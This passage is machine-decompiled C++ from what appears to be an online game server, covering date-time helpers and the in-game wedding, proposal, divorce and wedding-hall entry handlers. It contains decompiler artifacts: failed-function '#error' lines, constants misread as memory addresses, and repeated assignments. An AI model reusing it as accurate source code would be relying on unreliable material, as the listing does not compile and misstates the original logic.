) { v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v29 + 12))(v29, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); LABEL_36: __security_check_cookie(v37); } //----- (005305B0) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_WeaponTitleSave(ItemInventoryCell *this, #434 *sp) { int v2; // edi@1 int v3; // esi@5 signed int v4; // ebp@5 char *v5; // [sp-Ch] [bp-24h]@3 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemInventoryCell::iic_WeaponTitleSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemInventoryCell::iic_WeaponTitleSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !sp ) { AssertClass::ac_AssertFail(&shineassert, "ItemInventoryCell::iic_WeaponTitleSave Null Pointer : sp", 0); LABEL_3: v5 = "ItemInventoryCell::iic_WeaponTitleSave"; goto LABEL_10; } if ( (*(int (**)(void))(**(_DWORD **)(v2 + 112) + 36))() != 5 ) goto LABEL_3; v3 = v2 + 13; v4 = 3; do { if ( *(_WORD *)v3 != -1 ) ShineObjectClass::ShinePlayer::sp_saveweapontitle((void *)sp, v2, *(_WORD *)v3, *(_DWORD *)(v3 + 2) & 0xFFFFFFF); v3 += 6; --v4; } while ( v4 ); v5 = "ItemInventoryCell::iic_WeaponTitleSave"; LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (005306A0) -------------------------------------------------------- bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 > v4 || v5 >= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 > (unsigned int)v7) || v8 >= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 > (unsigned int)v9) || v10 >= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 > (unsigned int)v11) || v12 >= (unsigned int)v11 && (unsigned int)v3 >> 25 > (unsigned int)v2 >> 25))); } //----- (00530720) -------------------------------------------------------- bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 < v4 || v5 <= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 < (unsigned int)v7) || v8 <= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 < (unsigned int)v9) || v10 <= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 < (unsigned int)v11) || v12 <= (unsigned int)v11 && (unsigned int)v3 >> 25 < (unsigned int)v2 >> 25))); } //----- (005307A0) -------------------------------------------------------- ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs) { ShineDateTime *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 int v6; // ecx@1 tm *v7; // eax@1 int v8; // ecx@1 int v9; // edx@1 int v10; // edx@1 unsigned int v11; // ecx@1 __int64 UnixTime; // [sp+Ch] [bp-2Ch]@1 tm Time1; // [sp+14h] [bp-24h]@1 v2 = this; v3 = this->_bf0; v4 = v2->_bf0; Time1.tm_min = (unsigned int)v3 >> 25; v5 = v2->_bf0; Time1.tm_hour = ((unsigned int)v3 >> 19) & 0x3F; v6 = v2->_bf0; Time1.tm_mday = (v4 >> 13) & 0x3F; Time1.tm_sec = 0; Time1.tm_mon = ((v5 >> 8) & 0x1F) - 1; Time1.tm_year = (unsigned __int8)v6 + 100; Time1.tm_isdst = -1; UnixTime = 60 * ((unsigned __int8)Rhs.minute + 60 * ((unsigned __int8)Rhs.hour + 24 * Rhs.date)) + _mktime64(&Time1); v7 = _localtime64(&UnixTime); LOBYTE(v2->_bf0) = LOBYTE(v7->tm_year) - 100; v8 = ((unsigned __int16)v2->_bf0 ^ (unsigned __int16)(((unsigned __int16)v7->tm_mon + 1) << 8)) & 0x1F00 ^ v2->_bf0; v2->_bf0 = v8; v9 = v8 ^ (v7->tm_mday << 13); v10 = v8 ^ v9 & 0x7E000; v2->_bf0 = v10; v11 = v10 ^ (unsigned int)&wholesaver.ws_savestore[309].esc_skill.buffer[30564] & (v10 ^ (v7->tm_hour << 19)); v2->_bf0 = v11; v2->_bf0 = (unsigned int)&wholesaver.ws_savestore[316].esc_skill.buffer[899] & v11 | (v7->tm_min << 25); return v2; } //----- (005308A0) -------------------------------------------------------- __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this) { int v1; // eax@1 unsigned int v2; // edx@1 int v3; // ecx@1 tm Time1; // [sp+0h] [bp-24h]@1 v1 = this->_bf0; v2 = (unsigned int)this->_bf0 >> 19; v3 = (unsigned int)this->_bf0 >> 25; Time1.tm_hour = v2 & 0x3F; Time1.tm_min = v3; Time1.tm_year = (unsigned __int8)v1 + 100; Time1.tm_sec = 0; Time1.tm_mday = ((unsigned int)v1 >> 13) & 0x3F; Time1.tm_mon = (((unsigned int)v1 >> 8) & 0x1F) - 1; Time1.tm_isdst = -1; return _mktime64(&Time1); } //----- (00530900) -------------------------------------------------------- void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this) { this->RegistNumber = -1; *(_QWORD *)&this->CharacterName.n4_name[8] = 0i64; *(_QWORD *)&this->CharacterName.n4_name[0] = 0i64; strncpy(this->CharacterName.n4_name, byte_5A62A6, 0x10u); } //----- (00530930) -------------------------------------------------------- PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this) { return &this->sdb_SpecSkill; } //----- (00530940) -------------------------------------------------------- #error "530940: undefined or illegal type '#325' (funcsize=41)" //----- (005309D0) -------------------------------------------------------- #error "5309D0: undefined or illegal type '#325' (funcsize=38)" //----- (00530A50) -------------------------------------------------------- #error "530A50: undefined or illegal type '#325' (funcsize=31)" //----- (00530AC0) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenBeProposed() { int v0; // eax@2 int v2; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1136))(v2)) & 0x46 ) v0 = (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2300))(v2) + 8) & 0xF) != 0 ? 0x12C6 : 0; else LOWORD(v0) = 4802; return v0; } //----- (00530B00) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReserve() { unsigned __int16 result; // ax@2 int v1; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF) == 1 ) result = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2292))(v1) != 0 ? 0 : 4872; else result = 4867; } else { result = 4865; } return result; } //----- (00530B60) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenReservePartner() { unsigned __int16 result; // ax@2 int v1; // [sp+8h] [bp+4h]@0 if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 6 ) { if ( (*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF) == 1 ) result = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2292))(v1) != 0 ? 0 : 4872; else result = 4867; } else { result = 4866; } return result; } //----- (00530BC0) -------------------------------------------------------- PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus() { return &ShineObjectClass::ShineObject::so_WeddingData; } //----- (00530BD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this) { return (int)((char *)this + 23292); } //----- (00530BE0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_BYTE *)(this + 31) = *(_BYTE *)(a2 + 31); *(_BYTE *)(this + 32) = *(_BYTE *)(a2 + 32); *(_WORD *)(this + 33) = *(_WORD *)(a2 + 33); return result; } //----- (00530C40) -------------------------------------------------------- char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress) { WeddingHall *v2; // edi@1 char result; // al@6 v2 = this; if ( !this->Reserved || ShineDateTime::operator>(&this->EnteringStart, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &v2->EnteringEnd) ) { if ( wedding_progress ) wedding_progress->err = 4930; result = 0; } else { if ( wedding_progress ) { *(_QWORD *)&wedding_progress->GroomID.n4_name[0] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->GroomID.n4_name[8] = *(_QWORD *)&v2->Groom.CharacterName.n4_name[8]; *(_QWORD *)&wedding_progress->BrideID.n4_name[0] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[0]; *(_QWORD *)&wedding_progress->BrideID.n4_name[8] = *(_QWORD *)&v2->Bride.CharacterName.n4_name[8]; wedding_progress->EnterStart = ShineDateTime::toTime_t(&v2->EnteringStart); wedding_progress->WeddingStart = ShineDateTime::toTime_t(&v2->EnteringEnd); wedding_progress->WeddingEnd = ShineDateTime::toTime_t(&v2->WeddingEnd); wedding_progress->err = 4928; } result = 1; } return result; } //----- (00530D00) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenPropose() { unsigned __int16 result; // ax@2 int v1; // [sp+14h] [bp+4h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Checker::WhenPropose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Checker::WhenPropose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (1 << (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1136))(v1)) & 0x46 ) { if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 2300))(v1) + 8) & 0xF ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4805; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Checker::WhenPropose"); result = 4801; } return result; } //----- (00530E20) -------------------------------------------------------- unsigned __int16 __cdecl Checker::WhenProposeBoth() { int v2; // [sp+4h] [bp+4h]@0 int v3; // [sp+8h] [bp+8h]@0 return (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v2, v3) > 0x2710 ? 0x12C3 : 0; } //----- (00530E40) -------------------------------------------------------- unsigned __int16 __cdecl Checker::ApplicationLimit() { int v0; // eax@1 char *v1; // edi@2 ZoneBaseSession *v3; // eax@4 int v4; // [sp+8h] [bp+4h]@0 v0 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v0 + 13), &chargeditemcheck) ) { v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4229; *((_WORD *)v1 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v1 + 2) = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::ApplicationLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (00530EE0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_WORD *)(this + 6) = *(_WORD *)(a2 + 6); *(_BYTE *)(this + 8) = *(_BYTE *)(a2 + 8); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_DWORD *)(this + 25) = *(_DWORD *)(a2 + 25); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_BYTE *)(this + 37) = *(_BYTE *)(a2 + 37); *(_BYTE *)(this + 38) = *(_BYTE *)(a2 + 38); return result; } //----- (00530F60) -------------------------------------------------------- unsigned __int16 __cdecl Checker::DelayLimit() { int v1; // eax@3 char *v2; // edi@4 ZoneBaseSession *v3; // eax@6 int v4; // [sp+8h] [bp+4h]@0 if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4) + 8) & 0xF0 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2308))(v4); return 0; } v1 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); if ( !ShineDateTime::operator>((ShineDateTime *)(v1 + 13), &chargeditemcheck) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4231; *((_WORD *)v2 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v2 + 2) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2300))(v4) + 33); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 12); return 0; } v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } return 0; } //----- (00531020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding) { void *v2; // esi@1 int v3; // ecx@1 ZoneBaseSession *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23292), wedding); v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 4226; PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(v3, wedding); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate : Packet Too Long", 41); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate"); } //----- (00531110) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this) { void *v1; // esi@1 bool v2; // bl@1 ITEM_INVEN inveninv; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v6; // [sp+10h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v2 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v1, unk_125741C0, (int)&inveninv) != 0; --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem"); return v2; } //----- (005311D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this) { char *v1; // edi@1 void *v2; // esi@1 ZoneBaseSession *v3; // eax@3 int v4; // edi@4 ZoneBaseSession *v5; // eax@6 __int16 v6; // ax@7 __int16 v7; // ax@8 int v8; // eax@11 int v10; // [sp+30h] [bp-34h]@0 int v11; // [sp+30h] [bp-34h]@7 PROTO_NC_CHAR_WEDDINGDATA_ACK Update; // [sp+38h] [bp-2Ch]@11 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 836))(); *((_WORD *)v1 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v1 + 4) = skilldatabox.sdb_SpecSkill.ss_SummonMate; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } v4 = (signed int)gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *(_DWORD *)(v4 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)(v4 + 2) = *((_WORD *)v2 + 2); *(_WORD *)(v4 + 8) = word_124F2490 + 30000; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "Checker::DelayLimit : Packet Too Long", 10); } LOWORD(v4) = *((_WORD *)v2 + 2); v6 = (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1128))(v2, 9); if ( !ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v4, unk_125741C2, v6 + 3368, v10) ) { LOWORD(v4) = *((_WORD *)v2 + 2); v7 = (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1128))(v2, 8); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, v4, unk_125741C2, v7, v11); } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 293); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 294); (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v2 + 1544))(v2, 295); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); if ( (*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2300))(v2) + 8) & 0xF0) == 32 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 5001); PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(&Update); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2300))(v2); PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)&Update, v8); Update.Status._bf0 &= 0xFu; (*(void (__thiscall **)(void *, PROTO_NC_CHAR_WEDDINGDATA_ACK *))(*(_DWORD *)v2 + 2304))(v2, &Update); return (*(int (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4998); } //----- (005313C0) -------------------------------------------------------- void __fastcall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(int a1, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@3 char *v8; // edi@8 int v9; // eax@10 char *v10; // [sp-10h] [bp-24h]@2 v4 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2300))(v4); v6 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v5 + 33)); if ( v6 ) { v7 = Checker::WhenPropose(); if ( v7 || (v7 = Checker::WhenBeProposed()) != 0 ) { ProposeResult((#325 *)v4, *(_WORD *)(v4 + 4), v7); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } else { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) <= 0x2710 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8272; *((_WORD *)v8 + 1) = *(_WORD *)(v4 + 4); strncpy(v8 + 4, (const char *)(len + 4), 0x24u); v8[40] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 764))(v6); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v6, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ : Packet Too Long", 41); } v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } else { ProposeResult((#325 *)v4, *(_WORD *)(v4 + 4), 0x12C3u); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } } } else { ProposeResult((#325 *)v4, *(_WORD *)(v4 + 4), 0x12C8u); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00531550) -------------------------------------------------------- #error "531550: undefined or illegal type '#325' (funcsize=208)" //----- (00531800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *v6; // edi@1 int v7; // eax@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8279; v6 = (PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *)(v5 + 2); if ( !(_S7_3 & 1) ) { _S7_3 |= 1u; stru_124F3224.cmc_AllowMode = 6; atexit(_E8_35); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_124F3224.cmc_AllowMode ) { WeddingHall::wh_GuestCanEnter(&weddinghall, v6); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 60) ) goto LABEL_5; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_9: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_10; } v6->err = 4929; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 60) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); goto LABEL_9; } LABEL_5: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ : Packet Too Long", 60); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ"); } //----- (00531960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // edx@1 int v7; // eax@11 int v8; // edx@12 ITEM_INVEN Inv; // [sp+8h] [bp-80h]@3 FunctionEntarance _; // [sp+Ch] [bp-7Ch]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+10h] [bp-78h]@12 unsigned int v12; // [sp+78h] [bp-10h]@15 int v13; // [sp+84h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8281; v6 = *(_DWORD *)v4; v13 = 0; if ( unk_124F3264 != (*(int (__thiscall **)(void *))(v6 + 836))(v4) && unk_124F3250 != (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) && !ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, unk_125741BE, (int)&Inv) ) { *((_WORD *)v5 + 1) = 4931; goto LABEL_9; } if ( !weddinghall.Reserved || ShineDateTime::operator>(&stru_124F3240, &chargeditemcheck) || ShineDateTime::operator>(&chargeditemcheck, &Rhs) ) { *((_WORD *)v5 + 1) = 4930; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ : Packet Too Long", 4); } goto LABEL_15; } ShineObjectClass::ShinePlayer::sp_DestroyItem(v4, 